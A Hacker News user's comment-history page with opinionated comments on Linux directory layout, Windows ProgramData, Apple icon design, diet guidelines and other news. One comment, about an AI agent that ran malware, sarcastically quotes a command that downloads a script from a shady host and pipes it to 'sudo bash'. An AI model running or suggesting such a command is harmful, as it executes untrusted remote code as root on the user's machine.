HNHacker News
TopNewBestAskShowJobs

schmuckonwheels

990 karma · joined July 24, 2025

submissionscomments
schmuckonwheels··on The Vietnam government has banned rooted phones from using any banking app
Do you guys wear cargo pants to carry all these extra devices or are belt clips coming back into style?

If I could get away with carrying a tiny device again instead of lugging around a brick I would, but the world has made it as inconvenient as possible not to.

A BlackBerry from 15 years ago weighed just over 100g and did 80% of what your modern-day pocket computer can.

schmuckonwheels··on IBM AI ('Bob') Downloads and Executes Malware
I don't see the problem here.

We have automated the task of developers blindly executing

  wget -qO - http://shadysite/foo.sh | sudo bash
They would have happily pasted it into the terminal without the automation.

It's a net win for everyone involved.

Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.

schmuckonwheels··on Eat Real Food
There's a giant head of broccoli at the very top of the new pyramid? They emphasize protein AND fresh produce.
schmuckonwheels··on Eat Real Food
> egregious scrolljacking

Meta but my first reaction was they hired laid off Apple.com developers to build this.

Maybe they're trying to channel the excitement people get from a new iPhone rollout toward healthy foods.

schmuckonwheels··on Eat Real Food
> protein bars, drinks, prominently labeling the amount of grams of protein

Most of which are loaded with crazy amounts of sugar to make them taste good.

Have you ever looked at the label on a cup of non-plain "Greek" yogurt? (Which is 90% of the yogurt aisle.)

schmuckonwheels··on Eat Real Food
Taking away sugary slop is a tragedy?
schmuckonwheels··on Eat Real Food
Speaking from personal experience, this is consistent with multiple doctors over the years recommending high-protein, low carb diets. (Clarification: low does not mean no carb.)

I don't understand people freaking out over this - outside of a purely political reflex - hell hath no fury like taking away nerds' Mountain Dew and Flamin' Hot Cheetos.

Nor do I understand the negative reactions to new restrictions on SNAP - candy and sugary drinks are no longer eligible.

schmuckonwheels··on My Snapdragon Dev Kit was healthy and working fine until a Windows update failed
Hi, Jeff! Didn't realize the SSD was removable. Murphy's Law dictates the problem will always be in a soldered-down component whenever this happens.
schmuckonwheels··on My Snapdragon Dev Kit was healthy and working fine until a Windows update failed
Yeah they (probably) did not.

Almost certainly a soft hardware failure, likely the SSD.

I've run into a similar situation - except the culprit was Linux not Windows. Tossed the machine in a closet for a few months, when it miraculously started working again. Until it broke again a day and a half later. It's disk or RAM corruption.

Give it up dude, it's the hardware, but let not an opportunity to smash Microsoft go unfulfilled.

schmuckonwheels··on It's hard to justify Tahoe icons
>This is a strategic play by Apple

No, this is the fault of a company and industry with way too much money and not knowing what to do with it.

So they hired a bunch of artists who would otherwise be carving wood in a decrepit loft somewhere after taking half a mushroom cap. These people now decide how computers should operate.

I remember watching a documentary from the 80s where Susan Kare explained how every pixel in the Macintosh UI was deliberately put there to help the user in some way. One lady did the whole thing, the whole OS.

Now we have entire teams of people trying to turn your computer into an avant-garde art piece.

schmuckonwheels··on It's hard to justify Tahoe icons
> Arguably the dock

The Dock came from NeXtSTEP circa 1989. It had square edges and no Happy Mac. (So did Mail.app, TextEdit, some of the OS X Finder, and a whole bunch of other things.)

To the untrained eye it looks like an Apple innovation because most people couldn't afford NeXt computers unless you worked in a university or research lab.

schmuckonwheels··on It's hard to justify Tahoe icons
I would say, "Give me Mac OS 9, now" but smartphone-addicted brain-damaged zoomers don't understand what folders are or how file management works.

I don't need or want art, eye candy, or animations. I need to get work done and the rest of the OS to stay tf out of my way.

schmuckonwheels··on Anna's Archive loses .org domain after surprise suspension
Who is the official judge and jury of the Internet?
schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
It's literally in the name: PROGRAM files. It was never meant to store variable data.

It's also assumed that its contents can be safely restored from original sources, so Program Files is often not backed up - because it's wasteful and not needed.

Rogue developers thinking they know better than the people who actually designed the system and ignoring the rules put in place is the source of an untold number of problems in the software world. It's absolutely stupid and I have no empathy for the problems caused as a result of their laziness. This attitude is why modern Linux is a complete clusterfuck, a free-for-all with components duct taped together every which way. Do it right or don't do it at all.

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
> windows 2000 wasn't widely used as a consumer installed OS

But Windows XP, which came out in 2001, inherited everything from Windows 2000 and more, and was used extensively for gaming.

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
So you're saying they've had 18+ years to remove legacy cruft put in there to support a nearly 28 year old legacy OS that had no real multi-user support and basically zero security?
schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
More than once I've run into weird issues with missing filesystem drivers and other important things that caused me major grief during an emergency.

Sure it could be blamed on shitty distro maintenance and development but a better architecture would be putting essential things like filesystem drivers in /boot without this extra kludge of rebuilding an initrd (that you hopefully didn't forget to do before typing reboot) which depends on a pile of config files set just right (and oh by the way different in literally every distro).

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
CSIDL_COMMON_APPDATA is the API call to get this special folder which has been around since <checks notes> Windows 2000, 26 years ago.

You should never hardcode the path since it can and has moved around, though MS has implemented hard links to legacy paths because most developers are stupid and against persistent better advice do it anyway. I've seen multi-million dollar software packages whose vendor requires it to be writable by "Everyone".

Steam was first released in 2003, three years later.

For 80% of grievances about Windows, there is likely a solution in place that no one knows about because they didn't read the documentation.

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
Oof. The correct location for this is C:\ProgramData

Developers who knowingly reduce or disable default Windows security settings should be censured. Because in 99% of cases it is due to ignorance or plain laziness.

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
If you can remove GNU coreutils and replace them with something else (like that Rust garbage) then you don't have a base system. You have a loose collection of packages around a kernel.
schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
> initramfs, that is a compressed image that includes everything the system needs to boot

Not always (raise your hand if you've had an unbootable system due to a broken or insufficient initrd).

In retrospect, the whole concept of the initrd seems like an enormous kludge that was thrown together temporarily and became the permanent solution.

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
By default, Program Files is not writable by non-Administrators. This is likely done by some background service. Or they loosened the default file permissions (which would be dumb).

No reason this can't be done on Linux but since NT's security model is more flexible it's a lot easier to do so on Windows. You'd need to add dedicated users. (Running a Steam daemon as root would probably cause an uproar.)

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
> anything not managed by your distribution

That's a Linux-ism. Other *nix there is a lot more in /usr/local.

In reality /usr is similar to Windows' System32 directory on most Unicies.

/opt is really the only good place for Java and where I've been putting it for decades (old habits die hard).

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
> The Linux base system

There is no such thing as a Linux base system.

Separate components, separate people.

Hence the term Ganoo plus Leenox...

schmuckonwheels··on Understanding the bin, sbin, usr/bin, usr/sbin split (2010)
This post gets some of the details wrong. /usr/local is for site-local software - e.g. things you compile yourself, i.e in the case of the BSDs the ports collection - things outside the base system. (They may be compiled for you).

Since Linux has no concept of a base system, it's a stand-alone kernel with a hodgepodge of crap around it - this distinction makes no sense on Linux.

/opt is generally for software distros for which you don't have source; only binaries. Like commercial software packages. More common on Real UNIX(R) because most Linux users outside enterprise aren't running commercial software. You're putting your $500k EDA software under /opt.

schmuckonwheels··on Trump says Venezuela’s Maduro captured after strikes
Well they just captured Maduro and flew him out of the country, so yes the regime quite literally did just fall minutes after you created your throwaway account to post this.
schmuckonwheels··on Ask HN: Where can I buy uninhabited islands in the Seychelles or Caribbean?
Crazy what people will do for IPv4 space these days
schmuckonwheels··on Linux kernel security work
Linus has been very clear on avoiding the opposite, which is the OpenBSD situation: they obsess about security so much that nothing else matters to them, which is how you end up with a mature 30 year old OS that still has a dogshit unreliable filesystem in 2026.

To paraphrase LT, security bugs are important, but so are all the other bugs.

schmuckonwheels··on Punkt. Unveils MC03 Smartphone
Dupe:

https://news.ycombinator.com/item?id=46466171

schmuckonwheels··on James Moylan, engineer behind arrow signaling which side to refuel a car, dies
>If the customer allows for all this crap

You imply they ever had a choice.

Companies like Tesla and Rivian pioneered the trend of bringing webshit-as-an-instrument cluster to the mainstream. Other car companies saw dollar signs, rode their coattails and immediately copied it.

What is a customer supposed to do? Buy a Mitsubishi Mirage? Build their own instrument cluster?

← PreviousPage 2 of 4Next →